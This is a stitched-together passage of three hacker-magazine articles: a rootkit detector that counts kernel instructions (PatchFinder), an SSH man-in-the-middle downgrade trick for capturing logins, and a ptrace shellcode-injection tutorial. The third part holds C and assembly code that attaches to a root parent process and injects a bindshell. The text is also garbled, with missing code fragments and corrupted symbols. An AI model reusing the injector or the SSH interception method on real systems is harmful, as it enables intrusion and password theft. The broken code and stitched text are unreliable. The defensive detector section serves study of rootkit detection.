instructions compared to not infected system. We can measure this
difference!
The ia32 processor, can be told to work in the single-step mode. This is
achieved by setting the TF bit (mask 0x100) in EFLAGS register. In this
mode processor will generate a debug exception (#DB) after every execution
of the instruction.
For example at position 0x80 there is a gate which tells where is located
handler of the 0x80 trap - the Linux system call. As we all know it is
generated by the process by means of the 'int 0x80' instruction. This array
of 256 gates is called Interrupt Descriptor Table (IDT) and is pointed by
the idtr register.
Because #DB exception is devoted not only for single stepping but to many
other debugging activities, the do_debug() function is a little bit
complex. However it does not matter for us. The only thing we are
interested in, is that after detecting the #DB exception was caused by
single stepping (TF bit) a SIGTRAP signal is sent to traced process. The
process might catch this signal. So, it looks that we can do something like
this, in our userland program:
int trap () {
traps++;
}
main () {
...
signal (SIGTRAP, sigtrap);
xor_eflags (0x100);
/* call syscall we want to test */
read (fd, buff, sizeof (buff));
xor_eflags (0x100);
It looks simple and elegant. However has one disadvantage - it does not
work as we want. In variable traps we will find only the number of
instructions executed in userland. As we all know, read() is only a wrapper
to 'int 0x80' instruction, which causes the processor calls 0x80 exception
handler. Unfortunately the processor clears TF flag when executing 'int x'
(and this instruction is causing privilege level changing).
In order to stepping the kernel, we must insert some code into it, which
will be responsible for setting the TF flag for some processes. The good
place to insert such code is the beginning of the 'system_call' assembler
routine (defined in arch/i386/kernel/entry.S.), which is the entry for the
0x80 exception handler.
struct idt_gate {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed));
The 'sel' field holds the segment selector, and in case of Linux is equal
to __KERNEL_CS. The handler routine is placed at (off2<<16+off1) within the
segment, and because the segments in Linux have the base 0x0, it means that
it is equal to the linear address.
The fields 'none' and 'flags' are used to tell the processor about some
additional info about calling the handler. See [IA32] for detail.
The idtr register, points to the beginning of IDT table (it specifies
linear address, not logic as was in idt_gate):
struct idtr {
unsigned short limit;
unsigned int base; /* linear address of IDT table */
} __attribute__ ((packed));
ENTRY(PF_system_call)
pushl %ebx
movl $-8192, %ebx
andl %esp, %ebx # %ebx <-- current
continue_syscall:
popl %ebx
jmp *orig_system_call
As you can see, I decided to use 'ptrace' field within process descriptor,
to indicate whether a particular process wants to be single traced. After
setting the TF flag, the original system_call handler is executed, it calls
specific sys_xxx() function and then returns the execution to the userland
by means of the 'iret' instruction. Until the 'iret' every single
instruction is traced.
Of course we have to also provide our #DB handler, to account all this
instructions (this will replace the system's one):
ENTRY(PF_debug)
incl PF_traps
iret
To be complete, we also need to add a new system call, which can be called
from the userland to set the PT_PATCHFINDER flag in current process
descriptor's 'ptrace' variable, to reset or return the counter value.
switch (what) {
case PF_START:
tsk->ptrace |= PT_PATCHFINDER;
PF_traps = 0;
break;
case PF_GET:
tsk->ptrace &= ~PT_PATCHFINDER;
break;
case PF_QUERY:
return PF_ANSWER;
default:
printk ("I don't know what to do!\n");
return -1;
}
return PF_traps;
}
In this way we changed the kernel, so it can measure how many instructions
each system call takes to execute. See module.c in attached sources for
more details.
To answer this question we should think what is the main task of every
rootkit? Well, its job is to hide presence of attacker's
process/files/connections in the rooted system. And those things should be
hidden from such tools like ls, ps, netstat etc. These programs collect the
system information through some well known system calls.
Even if backdoor does not touch syscall directly, like prrf.o, it modifies
some kernel functions which are activated by one of the system call. The
problem lies in the fact, that these modified functions does not have to be
executed during every system call. For example if we modify only some
pointer to reading functions in procfs, then attacker's code will be
executed only when read() is called in order to read some specific file,
like /proc/net/tcp.
We do not test all system calls (about 230) because we assume that some
routine tasks every backdoor should do, like hiding processes or files,
will use only some little subset of syscalls.
int test_readdir_proc () {
int fd, T = 0;
struct dirent de[1];
patchfinder (PF_START);
getdents (fd, de, sizeof (de));
T = patchfinder (PF_GET);
close (fd);
return T;
}
But even then you must be very careful, because this differences may be
caused by some new modules you have loaded recently, possibly unconscious.
Now the time has came to show the working program. A proof of concept is
attached at the end of this article. I call it PatchFinder. It consist of
two parts - a module which patches the kernel so that it allows to debug
syscalls, and a userland program which makes the tests and shows the
results. At first you must generate a file with test results taken on the
clear system, i.e. generated after you installed a new kernel. Then you can
check your system any time you want, just remember to insert a
patchfinder.o module before you make the test. After the test you should
remove the module. Remember that it replaces the Linux's native debug
exception handler!
The results on clear system may look like this (observe the little
differences in 'diff' column):
The tests on the same system, done when there was a adore loaded shows the
following:
Everything will be clear when you analyze adore source code :). Similar
results can be obtained for other popular rootkits like knark or palmers'
prrf.o (please note that the prrf.o does not change the syscall table
directly).
The funny thing happens when you try to check the kernel which was
backdoored by SucKIT. You should see something like this:
This is caused by the fact that SucKIT copies original syscall table into
new position, changes it in the fashion like knark or adore, and then
alters the address of syscall table in the system_call code so that it
points to this new copy of the syscall table. Because this copied syscall
table does not contain a patchfinder system call (patchfinder's module is
inserted just before the tests), the testing program is unable to speak
with the module and thinks it is not loaded. Of course this situation easy
betrays that something is wrong with the kernel (or that you forgot to load
the module:)).
Note, that if patchfinder.o is loaded you can not start SucKIT. This is due
its installation method which assumes how the system_call's binary code
should look like. SucKIT is very surprised seeing PS_system_call instead
of original Linux 0x80 handler...
There is one more thing to explain. The testing program, before the
beginning of the tests, sets SCHED_FIFO scheduling policy with the highest
rt_priority. In fact, during the tests, only the patchfinder's process has
CPU (only hardware interrupts are serviced) and is never preempted, until
it finishes the tests. There are three reasons for such approach.
TF bit is set at the beginning of the system_call, and is cleared when the
'iret' instruction is executed at the end of the exception handler. During
the time the TF bit is set, sys_xxx() is called, but after this some
scheduling related stuff is also executed, which can lead to process
switch. This is not good, because it causes more instruction to be
executed (in the kernel, we do not care about instructions executed in the
switched process of course).
There is also a more important issue. I observed that, when I allow process
switching with TF bit set, it may cause processor restart(!) after a few
hundred switches. I did not found any explanation of such behavior. The
following problem does not occur when SET_SCHED is set.
pushf
popl %ebx
testb $0x100, %ebx
jne i_am_traced
# contine executing
...
i_am_traced:
# deinstall for
# a moment
...
When malicious code realize that it is traced it may uninstall itself from
the specific syscall. However, before that, it will settle in the timer
interrupt handler, so after for e.g. 1 minute it will back to that syscall.
How to defend such trick? Well, remember that we (i.e. patchfinder) are
tracing the code all the time. So the debug handler (which is provided by
us) can detect that 'pushf' instruction has been just executed. Then it may
alter the 'eflags' saved on the stack (by just executed 'pushf'), so that
for the traced process it looks like the TF flags was cleared.
I do not see at the moment any other general attack against execution trace
analysis. However, there are possibilities of cheating a specific
implementation, like patchfinder, which I am going to discuss now.
The attacker can alter sys_write() and check if process named 'patchfinder'
is trying to write a specific line to stdout - a line with some test
result. Then it will change the write()'s buffer and user will see faked
results. Similar, the rootkit may realized that a file with clear system
characteristic is to be read and change the buffer returned from
sys_read(), so the patchfinder will get false references.
Moreover, when patchfinder uses a fixed number for its system call, the
malicious rootkit can change the results returned by that system call and
in result cheat testing process about the number of instruction executed.
We are not limited to only to empty system calls, since we can replace any
existing system call and first check if some magic numbers are in
arguments. In case there is no magic arguments we simply call original
sys_xxx().
Another method can exploit the fact that patchfinder marks a process to be
traced in some specific way (i.e. setting a bit in 'ptrace' field of the
process descriptor). Malicious rootkit can replace the system_call routine
with its own version. This new version will check if the process is marked
by patchfinder and then it will use original syscall table. If it is not
marked by testing process another syscall table will be used (which has
some sys_xxx() functions replaced). It will be hard for the #DB exception
handler to find out whether the rootkit is trying to check for e.g. the
'ptrace' field, since the code doing this can have many forms.
The debug exception handler's code can also betrays where is located the
counter variable (PF_traps) in memory. Knowing this address, smart rootkit
can decrease this variable at the end of its 'operational' code, by the
number of instructions in this additional code.
The only remedy I can see for the above weaknesses can be strong
polymorphism. The idea is to add a polymorphic code generator to the
patchfinder distribution which, for every system it is installed on, will
create a different binary images for patchfinder's kernel code. This
generation could be based on some passphrase the administrator will provide
at the installation time.
Debugging the execution path of the system calls is probably not the only
one solution to this problem. Before I have implemented patchfinder, I had
been working on another technique, which tries to exploit differences in
the execution time of some system calls. The tests were actually the same
as those which are included with patchfinder. However, I have been using
processor 'rdtsc' instruction to calculate how many cycles a given piece of
code has been executed. It worked well on processor up to 500Mhz.
Unfortunately when I tried the program on 1GHz processor I noted that the
execution time of the same code can be very different from one test to
another. The variation was too big, causing lots of false positives. And
the differences was not caused by the multitasking environment as you may
think, but lays deeply in the micro-architecture of the modern processors.
As Andy Glew explained me, these beasties have tendencies to stabilizes the
execution time on one of the possible state, depending on the initial
conditions. I have no idea how to cause the initial state to be the same
for each tests or even to explore the whole space of theses initial states.
Therefore I switched to stepping the code by the hardware debugger. However
the method of measuring the times of syscall could be very elegant... If it
was working. Special thanks to Marcin Szymanek for initial idea about this
timing-based method.
--[ Credits
--[ References
[HALF97] halflife, "Abuse of the Linux Kernel for Fun and Profit",
Phrack 50, 1997.
<++> ./patchfinder/Makefile
MODULE_NAME=patchfinder.o
PROG_NAME=patchfinder
all: $(MODULE_NAME) $(PROG_NAME)
clean:
rm -fr *.o $(PROG_NAME)
<--> ./patchfinder/Makefile
<++> ./patchfinder/traps.S
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#include <linux/linkage.h>
#define __KERNEL__
#include "module.h"
ENTRY(PF_system_call)
pushl %ebx
movl $-8192, %ebx
andl %esp, %ebx # %ebx <-- current
testb $PT_PATCHFINDER,tsk_ptrace(%ebx)
je continue_syscall
pushf
popl %ebx
orl $TF_MASK, %ebx # set TF flag
pushl %ebx
popf
continue_syscall:
popl %ebx
jmp *orig_system_call
ENTRY(PF_debug)
incl PF_traps
iret
<--> ./patchfinder/traps.S
<++> ./patchfinder/module.h
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#ifndef __MODULE_H
#define __MODULE_H
#endif
<--> ./patchfinder/module.h
<++> ./patchfinder/module.c
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#define MODULE
#define __KERNEL__
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include "module.h"
#define DEBUG 1
MODULE_AUTHOR("Jan Rutkowski");
MODULE_DESCRIPTION("The PatchFinder module");
struct idt_gate {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed));
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
switch (what) {
case PF_START:
tsk->ptrace |= PT_PATCHFINDER;
PF_traps = 0;
break;
case PF_GET:
tsk->ptrace &= ~PT_PATCHFINDER;
break;
case PF_QUERY:
return PF_ANSWER;
default:
printk ("I don't know what to do!\n");
return -1;
}
return PF_traps;
}
int init_module () {
EXPORT_NO_SYMBOLS;
orig_syscall = sys_call_table[__NR_patchfinder];
sys_call_table [__NR_patchfinder] = sys_patchfinder;
#endif
return 0;
}
int cleanup_module () {
set_system_gate (SYSCALL_VECTOR, orig_system_call);
set_system_gate (DEBUG_VECTOR, orig_debug);
sys_call_table [__NR_patchfinder] = orig_syscall;
<--> ./patchfinder/module.c
<++> ./patchfinder/main.h
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#ifndef __MAIN_H
#define __MAIN_H
#define PF_MAGIC "patchfinder"
#define M_GENTTBL 1
#define M_CHECK 2
#define MAX_TESTS 9
#define TESTNAMESZ 32
#define WARN_THRESHOLD 20
#define ALERT_THRESHHOLD 500
#define TRIES_DEFAULT 200
typedef struct {
int t;
double ft;
char name[TESTNAMESZ];
int (*test_func)();
} TTEST;
typedef struct {
char magic[sizeof(PF_MAGIC)];
TTEST test [MAX_TESTS];
int ntests;
int tries;
} TTBL;
#endif
<--> ./patchfinder/main.h
<++> ./patchfinder/main.c
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include "main.h"
#include "libpf.h"
void usage () {
printf ("(c) Jan K. Rutkowski, 2002\n");
printf ("email: jkrutkowski@elka.pw.edu.pl\n");
printf ("%s [OPTIONS] <filename>\n", PROG_NAME);
printf (" -g save current system's characteristics to file\n");
printf (" -c check system against saved results\n");
printf (" -t change number of iterations per each test\n");
exit (0);
if (getuid() != 0)
die ("For some reasons you have to be root");
if (!mode) usage();
if (patchfinder (PF_QUERY) != PF_ANSWER) {
printf (
"\n ---== ALERT! ==--\n"
"It seems that module %s is not loaded. "
"However if you are\nsure that it is loaded,"
"then this situation means that with your\n"
"kernel is something wrong! Probably there is "
"a rootkit installed!\n", MODULE_NAME);
exit (1);
}
generate_ttbl (¤t);
sched_p.sched_priority = 0;
if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0)
die ("Dropping realtime policy\n");
fprintf (stderr, "* dropping realtime schedulng policy.\n\n");
if (mode == M_GENTTBL) {
write_ttbl (¤t, ttbl_file);
exit (0);
}
printf (
" test name | current | clear | diff | status \n");
printf (
"------------------------------------------------------\n");
T1 = current.test[i].t;
T2 = clear.test[i].t;
dt = T1 - T2;
printf ("%-18s | %7d| %7d|%7d|",
current.test[i].name, T1, T2, dt);
dt = abs (dt);
if (dt < WARN_THRESHOLD) printf (" ok ");
if (dt >= WARN_THRESHOLD && dt < ALERT_THRESHHOLD)
printf (" (?) ");
if (dt >= ALERT_THRESHHOLD) printf (" ALERT!");
printf ("\n");
}
<--> ./patchfinder/main.c
<++> ./patchfinder/tests.c
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <assert.h>
#include "libpf.h"
#include "main.h"
int test_open_file () {
int tmpfd, T = 0;
patchfinder (PF_START);
tmpfd = open ("/etc/passwd", 0, 0);
T = patchfinder (PF_GET);
close (tmpfd);
return T;
}
int test_stat_file () {
int T = 0;
char buf[0x100]; /* we dont include sys/stat.h */
patchfinder (PF_START);
stat ("/etc/passwd", &buf);
T = patchfinder (PF_GET);
return T;
}
int test_read_file () {
int fd, T = 0;
char buf[0x100];
patchfinder (PF_START);
read (fd, buf , sizeof(buf));
T = patchfinder (PF_GET);
close (fd);
return T;
}
int test_open_kmem () {
int tmpfd;
int T = 0;
patchfinder (PF_START);
tmpfd = open ("/dev/kmem", 0, 0);
T = patchfinder (PF_GET);
close (tmpfd);
return T;
}
patchfinder (PF_START);
getdents (fd, de, sizeof (de));
T = patchfinder (PF_GET);
close (fd);
return T;
}
int test_readdir_proc () {
int fd, T = 0;
struct dirent de[1];
patchfinder (PF_START);
getdents (fd, de, sizeof (de));
T = patchfinder (PF_GET);
close (fd);
return T;
}
int test_read_proc_net_tcp () {
int fd, T = 0;
char buf[32];
patchfinder (PF_START);
read (fd, buf , sizeof(buf));
T = patchfinder (PF_GET);
close (fd);
return T;
}
int test_lseek_kmem () {
int fd, T = 0;
patchfinder (PF_START);
lseek (fd, 0xc0100000, 0);
T = patchfinder (PF_GET);
close (fd);
return T;
}
int test_read_kmem () {
int fd, T = 0;
char buf[256];
patchfinder (PF_START);
read (fd, buf , sizeof(buf));
T = patchfinder (PF_GET);
close (fd);
return T;
}
#define set_test(testname) { \
ttbl->test[i].test_func = test_##testname; \
strcpy (ttbl->test[i].name, #testname); \
ttbl->test[i].t = 0; \
ttbl->test[i].ft = 0; \
i++; \
}
set_test(open_file)
set_test(stat_file)
set_test(read_file)
set_test(open_kmem)
set_test(readdir_root)
set_test(readdir_proc)
set_test(read_proc_net_tcp)
set_test(lseek_kmem)
set_test(read_kmem)
return i;
<--> ./patchfinder/tests.c
<++> ./patchfinder/libpf.h
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#ifndef __LIBPF_H
#define __LIBPF_H
#include "module.h"
#endif
<--> ./patchfinder/libpf.h
<++> ./patchfinder/libpf.c
/* */
/* The Kernel PatchFinder version 0.9 */
/* */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */
/* */
#include <asm/unistd.h>
#include <errno.h>
#include "libpf.h"
==Phrack Inc.==
--[ Contents
- Intoduction
3 - Countermeasures
4 - An Implementation
5 - Discussion
6 - Acknowledgments
7 - References
--[ Introduction
The Secure Shell (SSH) protocol which itself is considered strong is often
weakly implemented. Especially the SSH1/SSH2 interoperability as
implemented in most SSH clients suffers from certain weak points as
described below. Additionally the SSH2 protocol itself is also flexible
enough to contain some interesting parts for attackers.
The described mim-program will be made available one week after releasing
this article to give vendors time for fixes (which are rather trivial) to
limit the possibility of abuse.
In this article I will describe how SSH clients can be tricked into
thinking they are missing the host-key for the host they connected to even
though they already have it in their list of known hosts. This is possible
due to some points in the SSH drafts which makes life of SSH developers
harder but which was ment to offer special protection or more flexibility.
The SSH draft demands that both, client and server, exchange a banner
before negotiating the key used for encrypting the communication channel.
This is indeed needed for both sides to see which version of the protocol
they have to speak. A banner commonly looks like
SSH-1.99-OpenSSH_2.2.0p1
A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me".
This is due to the "1" after the dash, the so called remote major version.
It allows the client to choose SSH1 for key negotiation and further
encryption. However it is also possible for the client to continue with
SSH2 packets as the "99" tells him which is also called the remote minor
version. (It is a convention that a remote-minor version of 99 with a
remote-major version of 1 means both protocols.)
Protocol 1,2
which makes the client choose SSH protocol version 1. It is obvious what
follows now. Since the SSH client used to use SSH1 to talk to the server it
is likely that he never spoke SSH2 before. This may be exploited by
attackers to prompt a banner like
SSH-2.00-TESO-SSH
to the client. The client looks up his database of known hosts and misses
the host-key because it only finds the SSH1 key of the server which does
not help much because according to the banner he is not allowed to speak
SSH1 anymore (since the remote major version number is 2). Instead of
presenting a warning like
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA1 host key has just been changed.
The fingerprint for the RSA1 key sent by the remote host is
f3:cd:d9:fa:c4:c8:b2:3b:68:c5:38:4e:d4:b1:42:4f.
Please contact your system administrator.
if someone tries MiM attacks against it without the banner-hack, it asks
the user to just accept the new key:
It is much easier now for the user to type "yes" instead of editing the
known_hosts file and restarting the SSH client. Once accepted, the
attackers SSH server would record the login and password and would forward
the SSH connection so the user does not notice his account was just
compromised.
This attack will not work for clients which just support one protocol
(likely to be SSH1) because they only implement one of them. These clients
should be very seldom and most if not all SSH clients support both
versions, indeed it is even a marketing-pusher to support both versions.
If the client uses RSA authentication there is no way for the attacker to
get in between since he cannot use the RSA challenges presented to him by
the server because he is talking a different protocol to the client. In
other words, the attacker is never speaking the same version of the
protocol to both parties and thus cannot forward or intercept RSA
authentication.
A sample MiM program (ssharp) which mounts the banner-hack and records
logins can be found at [ssharp].
Reading the SSH2 draft shows that SSH2 does not use the host-key for
encryption anymore (as with SSH1 where the host and server-key was sent to
the client which sent back the session-key encrypted with these keys).
Instead the client obtains the host-key to check whether any of the
exchanged packets have been tampered with by comparing the server sent MAC
(Message Authentication Code; the server computes a hash of the packets
exchanged and signs it using the negotiated algorithm) with his own
computed hash. The SSH2 draft is flexible enough to offer more than just
one static algorithm to allow MAC computation. Rather it specifies that
during key exchange the client and the server exchange a list of preferred
algorithms they use to ensure packet integrity. Commonly DSA and RSA are
used:
A SSH client connecting to our MiM server will once again prompt the user
to accept the new key instead of issuing the MiM warning.
The MiM server connected to the original server and got to know that he
is using DSA. He then decided to face the user with a RSA key. If the
original server offers DSA and RSA the MiM server will wait until the
client sends his preferred algorithms and will choose an algorithm the
client is naming for his second choice. A RFC compliant SSH2 server has to
choose the first algorithm he is supporting from the client list, our MiM
server will choose the next one and thus produces a key-miss on
client-side. This will again produce a yes/no prompt instead of the warning
message. "ssharp" also supports this key-hack mode.
--[ 3 - Countermeasures
Having the RSA host-key for a server offering a DSA host-key means nothing
for todays clients. They ignore the fact that they have a valid host-key
for that host but in a different key-type. SSH clients should also issue
the MiM warning if they find host-keys for the server where either the
version or type does not match. Its very likely someone in playing MiM
games. In my eyes it is definitely a bug in the SSH client software.
--[ 4 - An Implementation
There already exist some MiM implementations for SSH1 such as [dsniff] or
[ettercap]. Usually they understand the SSH protocol and put much effort
into packet assembling and reassembling or forwarding. Things are much
simpler. ssharp is based on a normal OpenSSH daemon which was modified to
accept any login/password pair and starts a special shell for these
connections: a SSH client which is given the username/password and the real
destination IP. It logs into the remote host without user-interaction and
since it is bound to the mim servers pty it looks for the user like he
enters his normal shell. This way it is not needed to mess with SSH1 or
SSH2 protocol or to replace keys etc. We just play with the banner or the
signature algorithm negotiation the way described above.
If compiled with USE_MSS option enabled, ssharp will slip the SSH client
through a screen-like session which allows attaching of third parties to
existing (mimed) SSH1 or SSH2 connections. It is also possible to kick out
the legitimate user and completely take control over the session.
--[ 5 - Discussion
I know I know; a lot of people will ask "thats all?" now. As with every
discovery plenty of folks will claim that this is "standard UNIX semantics"
or it is feature and not a bug or that the vulnerability is completely
Theo...cal. Neither of them is the case here, and the folks only looking
for weaknesses in the crypto-algorithms such as key-stream-reuse and
possibilities to inject 2^64 ;-) adaptive choosen plain-texts will
hopefully acknowledge that crypto-analysis in 2002 welcomes laziness and
misunderstanding of drafs on board. Laziness already broke Enigma, but next
years will show how much impact it has when people are not able to
completely understand protocols or put too much trust in crypto and do not
think about the impact of violating the simple MUST in section
1.1.70.3.3.1.9.78. of the super-crypto draft.
--[ 6 - Acknowledgments
Folks from the segfault dot net consortium ;-) for discussing and offering
test environments. If you like to donate some hardware or money to these
folks let me know. It would definitely help to let continue research on
this and similar topics.
Also thanks to various other folks for discussing SSH with me.
This article is also available [here] as pdf paper with some screen-shots
to demonstrate the power of ssharp.
--[ 7. References
[dsniff] as far as I know the first SSH1 MiM implementation "monkey in the
middle" part of dsniff package.
http://www.monkey.org/~dugsong/dsniff
==Phrack Inc.==
---[ Contents
1 - Testing environment
2 - Why we should do ptrace injecting shellcode ?
3 - What does ptrace
3.1 - Requirement
3.2 - How does the library make the call
4 - Injecting code in a process - C code
4.1 - The stack is our friend
4.2 - Code to inject
4.3 - Our first C code
5 - First try to shellcodize it
5.1 When you need somebody to trace
5.2 Waiting (for love ?)
5.3 Registers where are you ?
5.4 Upload in progress
5.5 You'll be a man, my son.
6 - References and greetings
First of all, I've to set the rules for my playground. I used to test all
these techniques under linux 2.4.18 i386 with executable stack.
They may work under any linux releases, excepted the nonexec-stack ones,
due to the concept of the injection (On the stack).
By modifying a little bit these techniques it shoud be possible to exploit
any OS on any architecture, as long they support the ptrace() system call.
Here comes the idea to create a ptrace shellcode. We may, with this
shellcode, trace an unrestricted process and inject into it a second
shellcode, which runs a bindshell in our example.
Here is what we want for this ptrace shellcode :
-The selection of the target process may be most of the time the parent
process (inetd for a ftp server) which usually has full root access. We
can also try all pid, starting from 2, until we find something traceable.
These rules can be fulfilled, and are enough for most exploitation cases,
I think.
3.1 - Requirement
You may know that the ptrace system call has been created for tracing and
debugging process within usermode.
A process may be ptraced by only one process at a time, and only by a pid
owned by the same user, or by root.
Under linux, ptrace commands are all implemented by the ptrace()
function/syscall, with four parameters. The prototype is there :
#include <sys/ptrace.h>
PTRACE_ATTACH :
Attach to the process pid.
PTRACE_DETACH :
ugh, Detach from the process pid. Never forget to do that, or
your traced process will stay in stopped mode, which is
unrecoverable remotely.
PTRACE_GETREGS :
This command copy the process registers into the struct
pointed by data (addr is ignored). This structure is struct
user_regs_struct defined as this, in asm/user.h :
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
PTRACE_SETREGS :
This command has the opposite meaning of PTRACE_GETREGS, with
same arguments
PTRACE_POKETEXT :
This command copies 32 bits from the address pointed by data
in the addr address of the traced process. This is equivalent
to PTRACE_POKEDATA.
An important thing when you attach a pid is that you have to wait for the
traced process to be stopped, and so have to wait for the SIGCHLD
signal.
wait(NULL) does this perfectly (implemented in the shellcode by waitpid).
As we are writing asm code, we have to know how to call directly the
ptrace system call. Little tests may show us the way the library uses to
wrap the syscalls, and simply :
eax is SYS_ptrace (26 decimal)
ebx is request (e.g. PTRACE_ATTACH is 16)
ecx is pid
edx is addr
esi is data
in error case, -1 is stored in eax.
I've seen some injection mechanism used by some ptrace() exploits for
linux, which injected a standard shellcode into the memory area pointed
by %eip. That's the lazy way of doing injection, since the target process
is screwed up and can't be used again. (crashes or doesn't fork)
We have to find another way to execute our code in the target process.
That's what I was thinking and I found this :
void injected_shellcode();
char *hello_shellcode=
"\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59"
"\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34"
"\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c"
"\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ;
/* Prints hello. What a deal ! */
char *shellcode;
int child(){
while(1){
write(2,".",1);
sleep(1);
}
return 0;
}
int father (pid_t pid){
int error;
int i=0;
int ptr;
int begin;
struct user_regs_struct data;
if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL))
perror("attach");
waitpid(pid,NULL,0);
if(error=ptrace(PTRACE_GETREGS,pid,&data,&data))
perror("getregs");
printf("%%eip : 0x%.8lx\n",data.eip);
printf("%%esp : 0x%.8lx\n",data.esp);
data.esp -= 4;
ptrace(PTRACE_POKETEXT,pid,data.esp,data.eip);
ptr=begin=data.esp-1024;
printf("Inserting shellcode into %.8lx\n",begin);
data.eip=(long)begin+2;
ptrace(PTRACE_SETREGS,pid,&data,&data);
while(i<strlen(shellcode)){
ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *)
(shellcode+i));
i+=4;
ptr+=4;
}
ptrace (PTRACE_DETACH,pid,NULL,NULL);
return 0;
}
int main(int argc,char **argv){
pid_t pid=0;
if(argc>1)
pid=atoi(argv[1]);
shellcode=malloc( strlen((char*) injected_shellcode) +
strlen(hello_shellcode) + 4);
strcpy(shellcode,(char *) injected_shellcode);
strcat(shellcode,(char *) hello_shellcode);
printf("p2 : trying to launch shellcode on forked process\n");
if(pid==0)
pid=fork();
if (pid){
printf("I'm the father\n");
sleep(2);
father(pid);
sleep(2);
kill(pid,9);
wait(NULL);
}else{
printf("I'm the child\n");
child();
}
return 0;
}
Before doing it, we have to remember our rules. I'll program it without
really optimizing it in size (I let bighawk or pr1 do that) but designing
with pre-compiler conditional assemble.
gcc -DLONG for a very careful shellcode (checks etc...)
gcc -DSHORT for a very tiny shellcode (which does the minimum but unsafe).
Note that the pid is put on the stack, at the 12(%ebp) place. That's
useful because we will need it in nearly all system calls.
Now, little shellcode has to wait for its child. There are two ways of
doing this :
- waitpid(pid,NULL,NULL);
- big big loop;
The target process is ready to be modified, but the first thing to do with
it is to extract the registers.
The ebp register is saved into esi, and then esi is incremented by 16.
It will be the "data" argument of the ptrace call.
So, after the syscall, target registers are beginning at 16(%ebp).
Interesting registers are :
esp : 76(%ebp)
eip : 64(%ebp)
The register tricks I have described before are in the shellcode source,
but are not so complicated, including the "push"-like instruction to push
the old eip address.
As after the interrupt call, eax must be zero, we can safely use it to test
if esp reached the final state.
The bindshell I included binds port 0x4141. Remember that two fast
executions of the shellcode may block the port 0x4141 for minutes.
That was quite annoying while coding this.
Special greets to the other guys from minithins.net, UNF people, my tender
girlfriend and to at&t who made their own cool asm syntax.
Special thanks too to the channels #fr,#ircs,#!w00nf,#segfault,#unf for
their special support, and especially to double-p ,fozzy and OUAH who corrected
my lame english and gave me some advices.
<injector.s>
/* INJECTOR.S VERSION 1.0 */
/* Injects a shellcode in a process using ptrace system call */
/* Tested on : linux 2.4.18 */
/* NOT SIZE-OPTIMIZED YET */
#define SHELLCODELEN 30
/* That is, size of (the injected shellcode + bindshell)/4 */
#ifndef SHORT
#define LONG
#endif
#ifdef LONG
#undef SHORT
#endif
.text
.globl shellcode
.type shellcode,@function
shellcode:
/* injector begins here */
mov $0xbffffe04,%esp
/* first thing, we have to find our ppid */
xor %eax,%eax
mov $64,%al /* sys_getppid */
int $0x80
#ifdef DEBUG_PID
mov $DEBUG_PID,%ax
#endif
/* put it on the stack */
mov %esp,%ebp /* save the stack in stack pointer */
mov %eax,12(%ebp) /* save the pid there */
/* now we have to do a ptrace */
redo:
xor %eax,%eax
mov $26,%al /* sys_ptrace */
mov 12(%ebp),%ecx
mov %eax,%ebx
mov $0x10,%bl /* PTRACE_ATTACH */
int $0x80 /* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */
xor %ebx,%ebx
cmp %eax,%ebx
je good /* we are not leet enough, or ppid is init */
inc %ecx
mov %ecx,12(%ebp)
jmp redo
good:
/* now we have to do a waitpid(pid,NULL,NULL) */
mov %eax,%edx /* NULL */
mov %ecx,%ebx /* pid */
mov %edx,%ecx /* NULL */
mov $7,%al /* SYS_waitpid */
int $0x80
getregs:
/* now get its registers */
xor %eax,%eax /* Should waitpid return 0 ? never ;) */
xor %ebx,%ebx
mov %ebp,%esi
add $16,%esi /* 16 up of the stack pointer */
